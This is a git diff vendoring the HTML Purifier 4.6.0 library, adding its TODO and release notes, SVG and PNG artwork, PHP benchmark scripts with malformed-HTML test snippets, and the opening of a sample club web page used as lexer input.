+ empty-cells:show is applied to have compatibility with Internet Explorer
+ - Table of Contents generation (XHTML Compiler might be reusable). May also
+ be out-of-band information.
+ - Full set of color keywords. Also, a way to add onto them without
+ finalizing the configuration object.
+ - Write a var_export and memcached DefinitionCache - Denis
+ - Built-in support for target="_blank" on all external links
+ - Convert RTL/LTR override characters to <bdo> tags, or vice versa on demand.
+ Also, enable disabling of directionality
+ ? Externalize inline CSS to promote clean HTML, proposed by Sander Tekelenburg
+ ? Remove redundant tags, ex. <u><u>Underlined</u></u>. Implementation notes:
+ 1. Analyzing which tags to remove duplicants
+ 2. Ensure attributes are merged into the parent tag
+ 3. Extend the tag exclusion system to specify whether or not the
+ contents should be dropped or not (currently, there's code that could do
+ something like this if it didn't drop the inner text too.)
+ ? Make AutoParagraph also support paragraph-izing double <br> tags, and not
+ just double newlines. This is kind of tough to do in the current framework,
+ though, and might be reasonably approximated by search replacing double <br>s
+ with newlines before running it through HTML Purifier.
+
+Maintenance related (slightly boring)
+ # CHMOD install script for PEAR installs
+ ! Factor out command line parser into its own class, and unit test it
+ - Reduce size of internal data-structures (esp. HTMLDefinition)
+ - Allow merging configurations. Thus,
+ a -> b -> default
+ c -> d -> default
+ becomes
+ a -> b -> c -> d -> default
+ Maybe allow more fine-grained tuning of this behavior. Alternatively,
+ encourage people to use short plist depths before building them up.
+ - Time PHPT tests
+
+ChildDef related (very boring)
+ - Abstract ChildDef_BlockQuote to work with all elements that only
+ allow blocks in them, required or optional
+ - Implement lenient <ruby> child validation
+
+Wontfix
+ - Non-lossy smart alternate character encoding transformations (unless
+ patch provided)
+ - Pretty-printing HTML: users can use Tidy on the output on entire page
+ - Native content compression, whitespace stripping: use gzip if this is
+ really important
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/VERSION b/vendor/ezyang/htmlpurifier/VERSION
new file mode 100644
index 000000000..28446a5ea
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/VERSION
@@ -0,0 +1 @@
+4.6.0 \ No newline at end of file
diff --git a/vendor/ezyang/htmlpurifier/WHATSNEW b/vendor/ezyang/htmlpurifier/WHATSNEW
new file mode 100644
index 000000000..7464cbc35
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/WHATSNEW
@@ -0,0 +1,5 @@
+HTML Purifier 4.6.0 is a major security release, fixing numerous bad
+quadratic asymptotics in HTML Purifier's core algorithms. Most users will
+see a decent speedup on large inputs, although small inputs may take
+longer. Additionally, the secure URI munging algorithm has changed to
+do a proper HMAC. There are some other miscellaneous bugfixes as well.
diff --git a/vendor/ezyang/htmlpurifier/WYSIWYG b/vendor/ezyang/htmlpurifier/WYSIWYG
new file mode 100644
index 000000000..c518aacdd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/WYSIWYG
@@ -0,0 +1,20 @@
+
+WYSIWYG - What You See Is What You Get
+ HTML Purifier: A Pretty Good Fit for TinyMCE and FCKeditor
+
+Javascript-based WYSIWYG editors, simply stated, are quite amazing. But I've
+always been wary about using them due to security issues: they handle the
+client-side magic, but once you've been served a piping hot load of unfiltered
+HTML, what should be done then? In some situations, you can serve it uncleaned,
+since you only offer these facilities to trusted(?) authors.
+
+Unfortunantely, for blog comments and anonymous input, BBCode, Textile and
+other markup languages still reign supreme. Put simply: filtering HTML is
+hard work, and these WYSIWYG authors don't offer anything to alleviate that
+trouble. Therein lies the solution:
+
+HTML Purifier is perfect for filtering pure-HTML input from WYSIWYG editors.
+
+Enough said.
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/art/1000passes.png b/vendor/ezyang/htmlpurifier/art/1000passes.png
new file mode 100644
index 000000000..3351c92ab
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/1000passes.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/100cases.png b/vendor/ezyang/htmlpurifier/art/100cases.png
new file mode 100644
index 000000000..03103a07e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/100cases.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/favicon.ico b/vendor/ezyang/htmlpurifier/art/favicon.ico
new file mode 100644
index 000000000..123fb1543
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/favicon.ico
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/icon-16x16.png b/vendor/ezyang/htmlpurifier/art/icon-16x16.png
new file mode 100644
index 000000000..0c4ad4ff1
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/icon-16x16.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/icon-16x16.svg b/vendor/ezyang/htmlpurifier/art/icon-16x16.svg
new file mode 100644
index 000000000..659c933d6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/icon-16x16.svg
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="16.000000px"
+ height="16.000000px"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.42.2"
+ sodipodi:docbase="C:\DOCUME~1\Edward\MYDOCU~1\MYWEBS~1\HTMLPU~1\art"
+ sodipodi:docname="ICON-1~1.SVG"
+ inkscape:export-filename="C:\Documents and Settings\Edward\My Documents\My Webs\htmlpurifier\art\icon.png"
+ inkscape:export-xdpi="90.000000"
+ inkscape:export-ydpi="90.000000">
+ <defs
+ id="defs4">
+ <linearGradient
+ id="linearGradient5003">
+ <stop
+ style="stop-color:#537ddd;stop-opacity:1.0000000;"
+ offset="0.00000000"
+ id="stop5005" />
+ <stop
+ style="stop-color:#000000;stop-opacity:1.0000000;"
+ offset="1.0000000"
+ id="stop5007" />
+ </linearGradient>
+ <linearGradient
+ id="linearGradient4993">
+ <stop
+ style="stop-color:#183577;stop-opacity:1.0000000;"
+ offset="0.00000000"
+ id="stop4995" />
+ <stop
+ id="stop5001"
+ offset="0.58142859"
+ style="stop-color:#8b9fbb;stop-opacity:1.0000000;" />
+ <stop
+ style="stop-color:#ffffff;stop-opacity:1.0000000;"
+ offset="1.0000000"
+ id="stop4997" />
+ </linearGradient>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="23.255956"
+ inkscape:cx="3.2274095"
+ inkscape:cy="4.1487021"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ showguides="false"
+ gridspacingy="0.50000000cm"
+ gridspacingx="0.50000000cm"
+ gridoriginy="0.00000000cm"
+ gridoriginx="0.00000000cm"
+ gridtolerance="0.10000000cm"
+ gridempspacing="2"
+ inkscape:grid-points="true"
+ inkscape:grid-bbox="false"
+ inkscape:window-width="975"
+ inkscape:window-height="759"
+ inkscape:window-x="130"
+ inkscape:window-y="129" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <path
+ style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000004px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000"
+ d="M 6.1949060,157.57756 L 6.1949060,157.57756 z "
+ id="path1319" />
+ <path
+ style="fill:#224db0;fill-opacity:1.0000000;fill-rule:evenodd;stroke:none;stroke-width:6.0000000;stroke-linecap:butt;stroke-linejoin:round;marker-start:none;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000"
+ d="M 0.58257145,1.2121863 C 0.63548185,3.4711463 0.61139575,5.1777365 1.0905516,7.3958765 C 1.2484712,8.3223265 2.8202544,8.4670465 3.5807376,8.5653065 C 4.0690207,8.6283965 4.0902492,8.5661465 4.0906878,9.1995265 C 4.1064337,11.195036 4.0317991,11.792303 4.0906878,13.786273 C 4.0906878,15.786203 4.0909380,15.786453 6.0908601,15.786453 C 9.0907431,15.786453 10.414747,15.786053 12.414669,15.786053 C 14.414592,15.786053 14.414842,15.785813 14.414842,13.785893 C 14.418166,10.552283 14.404522,7.8374163 14.421897,4.6040763 C 14.625008,2.9294663 14.978320,2.5231063 15.830433,1.1499263 C 15.040843,1.1499263 14.943078,1.1493063 14.129102,1.1493063 C 8.8912931,1.1493063 5.8203807,1.2121863 0.58257145,1.2121863 z M 2.0905126,2.4028663 C 2.8330809,2.4028663 3.3476197,2.4028663 4.0901879,2.4028663 C 4.0901879,4.8586963 4.0906878,4.8408265 4.0906878,7.2966665 C 3.2248799,7.2967665 2.2374444,7.5239665 2.1488437,6.3255665 C 1.8765344,4.2270765 1.8837837,4.4962263 2.0905126,2.4028663 z M 5.4346466,6.5656265 L 6.8695071,6.5656265 L 6.8696331,13.558223 L 9.8657791,11.557663 L 9.8656551,6.5656265 L 13.070633,6.5656265 L 13.070633,13.786523 C 13.070633,14.786503 13.070633,14.786503 12.070671,14.786503 L 6.4158330,14.786503 C 5.5388453,14.786503 5.4347719,14.786723 5.4347719,13.786523 L 5.4346466,6.5656265 z "
+ id="path1325"
+ sodipodi:nodetypes="ccsccsscccsccccccccccccccccc" />
+ </g>
+</svg>
diff --git a/vendor/ezyang/htmlpurifier/art/icon-32x32.png b/vendor/ezyang/htmlpurifier/art/icon-32x32.png
new file mode 100644
index 000000000..23a498ccb
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/icon-32x32.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/icon-32x32.svg b/vendor/ezyang/htmlpurifier/art/icon-32x32.svg
new file mode 100644
index 000000000..a60927ec9
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/icon-32x32.svg
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="16.000000px"
+ height="16.000000px"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.42.2"
+ sodipodi:docbase="C:\DOCUME~1\Edward\MYDOCU~1\MYWEBS~1\HTMLPU~1\art"
+ sodipodi:docname="icon-32x32.svg"
+ inkscape:export-filename="C:\Documents and Settings\Edward\My Documents\My Webs\htmlpurifier\art\icon-16x16.png"
+ inkscape:export-xdpi="90.000000"
+ inkscape:export-ydpi="90.000000">
+ <defs
+ id="defs4">
+ <linearGradient
+ id="linearGradient5003">
+ <stop
+ style="stop-color:#537ddd;stop-opacity:1.0000000;"
+ offset="0.00000000"
+ id="stop5005" />
+ <stop
+ style="stop-color:#000000;stop-opacity:1.0000000;"
+ offset="1.0000000"
+ id="stop5007" />
+ </linearGradient>
+ <linearGradient
+ id="linearGradient4993">
+ <stop
+ style="stop-color:#183577;stop-opacity:1.0000000;"
+ offset="0.00000000"
+ id="stop4995" />
+ <stop
+ id="stop5001"
+ offset="0.58142859"
+ style="stop-color:#8b9fbb;stop-opacity:1.0000000;" />
+ <stop
+ style="stop-color:#ffffff;stop-opacity:1.0000000;"
+ offset="1.0000000"
+ id="stop4997" />
+ </linearGradient>
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="23.255956"
+ inkscape:cx="3.2274095"
+ inkscape:cy="4.1487021"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ showguides="false"
+ gridspacingy="0.50000000cm"
+ gridspacingx="0.50000000cm"
+ gridoriginy="0.00000000cm"
+ gridoriginx="0.00000000cm"
+ gridtolerance="0.10000000cm"
+ gridempspacing="2"
+ inkscape:grid-points="true"
+ inkscape:grid-bbox="false"
+ inkscape:window-width="975"
+ inkscape:window-height="759"
+ inkscape:window-x="130"
+ inkscape:window-y="129" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <path
+ style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000004px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000"
+ d="M 6.1949060,157.57756 L 6.1949060,157.57756 z "
+ id="path1319" />
+ <path
+ style="fill:#224db0;fill-opacity:1.0000000;fill-rule:evenodd;stroke:none;stroke-width:6.0000000;stroke-linecap:butt;stroke-linejoin:round;marker-start:none;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000"
+ d="M 0.58257145,1.2121863 C 0.63548185,3.4711463 0.61139575,5.1777365 1.0905516,7.3958765 C 1.2484712,8.3223265 2.8202544,8.4670465 3.5807376,8.5653065 C 4.0690207,8.6283965 4.0902492,8.5661465 4.0906878,9.1995265 C 4.1064337,11.195036 4.0317991,11.792303 4.0906878,13.786273 C 4.0906878,15.786203 4.0909380,15.786453 6.0908601,15.786453 C 9.0907431,15.786453 10.414747,15.786053 12.414669,15.786053 C 14.414592,15.786053 14.414842,15.785813 14.414842,13.785893 C 14.418166,10.552283 14.404522,7.8374163 14.421897,4.6040763 C 14.625008,2.9294663 14.978320,2.5231063 15.830433,1.1499263 C 15.040843,1.1499263 14.943078,1.1493063 14.129102,1.1493063 C 8.8912931,1.1493063 5.8203807,1.2121863 0.58257145,1.2121863 z M 2.0905126,2.4028663 C 2.8330809,2.4028663 3.3476197,2.4028663 4.0901879,2.4028663 C 4.0901879,4.8586963 4.0906878,4.8408265 4.0906878,7.2966665 C 3.2248799,7.2967665 2.2374444,7.5239665 2.1488437,6.3255665 C 1.8765344,4.2270765 1.8837837,4.4962263 2.0905126,2.4028663 z M 5.0906487,6.5656265 L 6.8695071,6.5656265 L 6.8696331,13.558223 L 9.8657791,11.557663 L 9.8656551,6.5656265 L 13.414631,6.5656265 L 13.414631,13.786523 C 13.414631,14.786503 13.414631,14.786503 12.414669,14.786503 L 6.0718351,14.786503 C 5.1948474,14.786503 5.0907740,14.786723 5.0907740,13.786523 L 5.0906487,6.5656265 z "
+ id="path1325"
+ sodipodi:nodetypes="ccsccsscccsccccccccccccccccc" />
+ </g>
+</svg>
diff --git a/vendor/ezyang/htmlpurifier/art/icon-64x64.png b/vendor/ezyang/htmlpurifier/art/icon-64x64.png
new file mode 100644
index 000000000..0a65932dc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/icon-64x64.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/logo-large.png b/vendor/ezyang/htmlpurifier/art/logo-large.png
new file mode 100644
index 000000000..f285fd1c3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/logo-large.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/logo.png b/vendor/ezyang/htmlpurifier/art/logo.png
new file mode 100644
index 000000000..a037ec04b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/logo.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/art/logo.svg b/vendor/ezyang/htmlpurifier/art/logo.svg
new file mode 100644
index 000000000..26331f32c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/logo.svg
@@ -0,0 +1,119 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://web.resource.org/cc/"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:xlink="http://www.w3.org/1999/xlink"
+ xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="82.000000mm"
+ height="82.000000mm"
+ id="svg2"
+ sodipodi:version="0.32"
+ inkscape:version="0.42.2"
+ sodipodi:docbase="C:\Documents and Settings\Edward\My Documents\My Webs\htmlpurifier\art"
+ sodipodi:docname="logo-bold-large.svg">
+ <defs
+ id="defs4">
+ <linearGradient
+ id="linearGradient5003">
+ <stop
+ style="stop-color:#537ddd;stop-opacity:1.0000000;"
+ offset="0.00000000"
+ id="stop5005" />
+ <stop
+ style="stop-color:#000000;stop-opacity:1.0000000;"
+ offset="1.0000000"
+ id="stop5007" />
+ </linearGradient>
+ <linearGradient
+ id="linearGradient4993">
+ <stop
+ style="stop-color:#183577;stop-opacity:1.0000000;"
+ offset="0.00000000"
+ id="stop4995" />
+ <stop
+ id="stop5001"
+ offset="0.58142859"
+ style="stop-color:#8b9fbb;stop-opacity:1.0000000;" />
+ <stop
+ style="stop-color:#ffffff;stop-opacity:1.0000000;"
+ offset="1.0000000"
+ id="stop4997" />
+ </linearGradient>
+ <linearGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient4993"
+ id="linearGradient4999"
+ x1="283.46457"
+ y1="141.72675"
+ x2="11.135608"
+ y2="141.72675"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="translate(2.000000,4.000000)" />
+ <linearGradient
+ inkscape:collect="always"
+ xlink:href="#linearGradient5003"
+ id="linearGradient5009"
+ x1="2.9621078"
+ y1="141.72675"
+ x2="283.46457"
+ y2="141.72675"
+ gradientUnits="userSpaceOnUse"
+ gradientTransform="translate(2.000000,4.000000)" />
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="1.0000000"
+ inkscape:cx="100.23897"
+ inkscape:cy="178.03397"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ showguides="false"
+ gridspacingy="0.50000000cm"
+ gridspacingx="0.50000000cm"
+ gridoriginy="0.00000000cm"
+ gridoriginx="0.00000000cm"
+ gridtolerance="0.10000000cm"
+ gridempspacing="2"
+ inkscape:grid-points="true"
+ inkscape:grid-bbox="false"
+ inkscape:window-width="975"
+ inkscape:window-height="759"
+ inkscape:window-x="139"
+ inkscape:window-y="88" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1">
+ <path
+ style="fill:none;fill-opacity:0.75000000;fill-rule:evenodd;stroke:#000000;stroke-width:1.0000000px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1.0000000"
+ d="M 19.726130,9.6194746 L 19.726130,9.6194746 z "
+ id="path1319" />
+ <path
+ style="fill:url(#linearGradient4999);fill-opacity:1.0000000;fill-rule:evenodd;stroke:url(#linearGradient5009);stroke-width:10.000000;stroke-linecap:butt;stroke-linejoin:round;marker-start:none;stroke-miterlimit:4.0000000;stroke-dasharray:none;stroke-opacity:1.0000000"
+ d="M 4.9621078,5.1031050 C 5.8995325,45.125639 5.4727947,85.709799 13.962107,125.00936 C 16.760003,141.42321 35.988453,143.98728 49.462107,145.72811 C 58.113128,146.84585 67.112800,145.74318 67.120572,156.96457 C 67.399545,192.31975 66.077225,216.69948 67.120572,252.02707 C 67.120572,287.46015 67.125004,287.46457 102.55807,287.46457 C 155.70768,287.46457 179.16536,287.45768 214.59843,287.45768 C 250.03151,287.45768 250.03593,287.45325 250.03593,252.02018 C 250.09483,194.72943 249.85310,122.48395 250.16093,65.197704 C 253.75952,35.528496 270.36749,28.328596 285.46457,4.0000020 C 271.47521,4.0000020 259.39483,3.9889299 244.97343,3.9889297 C 152.17399,3.9889293 97.761552,5.1031060 4.9621078,5.1031050 z M 31.678643,26.198667 C 44.834892,26.198667 53.955464,26.198667 67.111714,26.198667 C 67.111713,69.709084 67.120572,79.741005 67.120572,123.25143 C 51.780853,123.25317 34.281868,127.27859 32.712107,106.04622 C 27.887543,68.866763 28.015982,63.286945 31.678643,26.198667 z M 84.837103,110.29921 L 102.55585,110.29921 L 102.55807,247.98656 L 155.64148,212.54217 L 155.63926,110.29921 L 232.31496,110.29921 L 232.31496,252.03150 C 232.31496,269.74803 232.31496,269.74803 214.59843,269.74803 L 102.22100,269.74803 C 86.683215,269.74803 84.839322,269.75212 84.839322,252.03150 L 84.837103,110.29921 z "
+ id="path1325"
+ sodipodi:nodetypes="ccsccsscccsccccccccccccccccc" />
+ </g>
+</svg>
diff --git a/vendor/ezyang/htmlpurifier/art/powered.png b/vendor/ezyang/htmlpurifier/art/powered.png
new file mode 100644
index 000000000..119c4b9c7
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/art/powered.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/.htaccess b/vendor/ezyang/htmlpurifier/benchmarks/.htaccess
new file mode 100644
index 000000000..3a4288278
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/.htaccess
@@ -0,0 +1 @@
+Deny from all
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/ConfigSchema.php b/vendor/ezyang/htmlpurifier/benchmarks/ConfigSchema.php
new file mode 100644
index 000000000..087758c37
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/ConfigSchema.php
@@ -0,0 +1,16 @@
+<?php
+
+chdir(dirname(__FILE__));
+
+//require_once '../library/HTMLPurifier.path.php';
+shell_exec('php ../maintenance/generate-schema-cache.php');
+require_once '../library/HTMLPurifier.path.php';
+require_once 'HTMLPurifier.includes.php';
+
+$begin = xdebug_memory_usage();
+
+$schema = HTMLPurifier_ConfigSchema::makeFromSerial();
+
+echo xdebug_memory_usage() - $begin;
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/Lexer.php b/vendor/ezyang/htmlpurifier/benchmarks/Lexer.php
new file mode 100644
index 000000000..d612fc3c5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/Lexer.php
@@ -0,0 +1,161 @@
+<?php
+
+require_once '../library/HTMLPurifier.auto.php';
+@include_once '../test-settings.php';
+
+// PEAR
+require_once 'Benchmark/Timer.php'; // to do the timing
+require_once 'Text/Password.php'; // for generating random input
+
+$LEXERS = array();
+$RUNS = isset($GLOBALS['HTMLPurifierTest']['Runs'])
+ ? $GLOBALS['HTMLPurifierTest']['Runs'] : 2;
+
+require_once 'HTMLPurifier/Lexer/DirectLex.php';
+$LEXERS['DirectLex'] = new HTMLPurifier_Lexer_DirectLex();
+
+if (version_compare(PHP_VERSION, '5', '>=')) {
+ require_once 'HTMLPurifier/Lexer/DOMLex.php';
+ $LEXERS['DOMLex'] = new HTMLPurifier_Lexer_DOMLex();
+}
+
+// custom class to aid unit testing
+class RowTimer extends Benchmark_Timer
+{
+
+ public $name;
+
+ public function RowTimer($name, $auto = false)
+ {
+ $this->name = htmlentities($name);
+ $this->Benchmark_Timer($auto);
+ }
+
+ public function getOutput()
+ {
+ $total = $this->TimeElapsed();
+ $result = $this->getProfiling();
+ $dashes = '';
+
+ $out = '<tr>';
+
+ $out .= "<td>{$this->name}</td>";
+
+ $standard = false;
+
+ foreach ($result as $k => $v) {
+ if ($v['name'] == 'Start' || $v['name'] == 'Stop') continue;
+
+ //$perc = (($v['diff'] * 100) / $total);
+ //$tperc = (($v['total'] * 100) / $total);
+
+ //$out .= '<td align="right">' . $v['diff'] . '</td>';
+
+ if ($standard == false) $standard = $v['diff'];
+
+ $perc = $v['diff'] * 100 / $standard;
+ $bad_run = ($v['diff'] < 0);
+
+ $out .= '<td align="right"'.
+ ($bad_run ? ' style="color:#AAA;"' : '').
+ '>' . number_format($perc, 2, '.', '') .
+ '%</td><td>'.number_format($v['diff'],4,'.','').'</td>';
+
+ }
+
+ $out .= '</tr>';
+
+ return $out;
+ }
+}
+
+function print_lexers()
+{
+ global $LEXERS;
+ $first = true;
+ foreach ($LEXERS as $key => $value) {
+ if (!$first) echo ' / ';
+ echo htmlspecialchars($key);
+ $first = false;
+ }
+}
+
+function do_benchmark($name, $document)
+{
+ global $LEXERS, $RUNS;
+
+ $config = HTMLPurifier_Config::createDefault();
+ $context = new HTMLPurifier_Context();
+
+ $timer = new RowTimer($name);
+ $timer->start();
+
+ foreach($LEXERS as $key => $lexer) {
+ for ($i=0; $i<$RUNS; $i++) $tokens = $lexer->tokenizeHTML($document, $config, $context);
+ $timer->setMarker($key);
+ }
+
+ $timer->stop();
+ $timer->display();
+}
+
+?>
+<html>
+<head>
+<title>Benchmark: <?php print_lexers(); ?></title>
+</head>
+<body>
+<h1>Benchmark: <?php print_lexers(); ?></h1>
+<table border="1">
+<tr><th>Case</th><?php
+foreach ($LEXERS as $key => $value) {
+ echo '<th colspan="2">' . htmlspecialchars($key) . '</th>';
+}
+?></tr>
+<?php
+
+// ************************************************************************** //
+
+// sample of html pages
+
+$dir = 'samples/Lexer';
+$dh = opendir($dir);
+while (false !== ($filename = readdir($dh))) {
+
+ if (strpos($filename, '.html') !== strlen($filename) - 5) continue;
+ $document = file_get_contents($dir . '/' . $filename);
+ do_benchmark("File: $filename", $document);
+
+}
+
+// crashers, caused infinite loops before
+
+$snippets = array();
+$snippets[] = '<a href="foo>';
+$snippets[] = '<a "=>';
+
+foreach ($snippets as $snippet) {
+ do_benchmark($snippet, $snippet);
+}
+
+// random input
+
+$random = Text_Password::create(80, 'unpronounceable', 'qwerty <>="\'');
+
+do_benchmark('Random input', $random);
+
+?></table>
+
+<?php
+
+echo '<div>Random input was: ' .
+ '<span colspan="4" style="font-family:monospace;">' .
+ htmlspecialchars($random) . '</span></div>';
+
+?>
+
+
+</body></html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/Trace.php b/vendor/ezyang/htmlpurifier/benchmarks/Trace.php
new file mode 100644
index 000000000..07a662848
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/Trace.php
@@ -0,0 +1,21 @@
+<?php
+
+ini_set('xdebug.trace_format', 1);
+ini_set('xdebug.show_mem_delta', true);
+
+if (file_exists('Trace.xt')) {
+ echo "Previous trace Trace.xt must be removed before this script can be run.";
+ exit;
+}
+
+xdebug_start_trace(dirname(__FILE__) . '/Trace');
+require_once '../library/HTMLPurifier.auto.php';
+
+$purifier = new HTMLPurifier();
+
+$data = $purifier->purify(file_get_contents('samples/Lexer/4.html'));
+xdebug_stop_trace();
+
+echo "Trace finished.";
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/1.html b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/1.html
new file mode 100644
index 000000000..45cf907bc
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/benchmarks/samples/Lexer/1.html
@@ -0,0 +1,56 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+ <title>Main Page - Huaxia Taiji Club</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <link rel="stylesheet" type="text/css" media="screen, projection" href="/screen.css" />
+ <link rel="stylesheet" type="text/css" media="print" href="/print.css" />
+</head>
+<body>
+
+<div id="translation"><a href="/ch/Main_Page">&#20013;&#25991;</a></div>
+
+<div id="heading"><a href="/en/Main_Page" title="English Main Page">Huaxia Taiji Club</a>
+ <a class="heading_ch" href="/ch/Main_Page" title="&#20013;&#25991;&#20027;&#39029;">&#21326;&#22799;&#22826;&#26497;&#20465;&#20048;&#37096;</a></div>
+<ul id="menu">
+ <li><a href="/en/Main_Page" class="active">Main Page</a></li><li><a href="/en/About">About</a></li><li><a href="/en/News">News</a></li><li><a href="/en/Events">Events</a></li><li><a href="/en/Digest">Digest</a></li><li><a href="/en/Taiji_and_I">Taiji and I</a></li><li><a href="/en/Downloads">Downloads</a></li><li><a href="/en/Registration">Registration</a></li><li><a href="/en/Contact">Contact</a></li> <li><a href="http://www.taijiclub.org/gallery2/main.php">Gallery</a></li>
+
+ <li><a href="http://www.taijiclub.org/forums/index.php">Forums</a></li>
+
+</ul>
+<div id="content">
+<h1 id="title">Main Page</h1><h2>Taiji (Tai Chi) </h2>
+
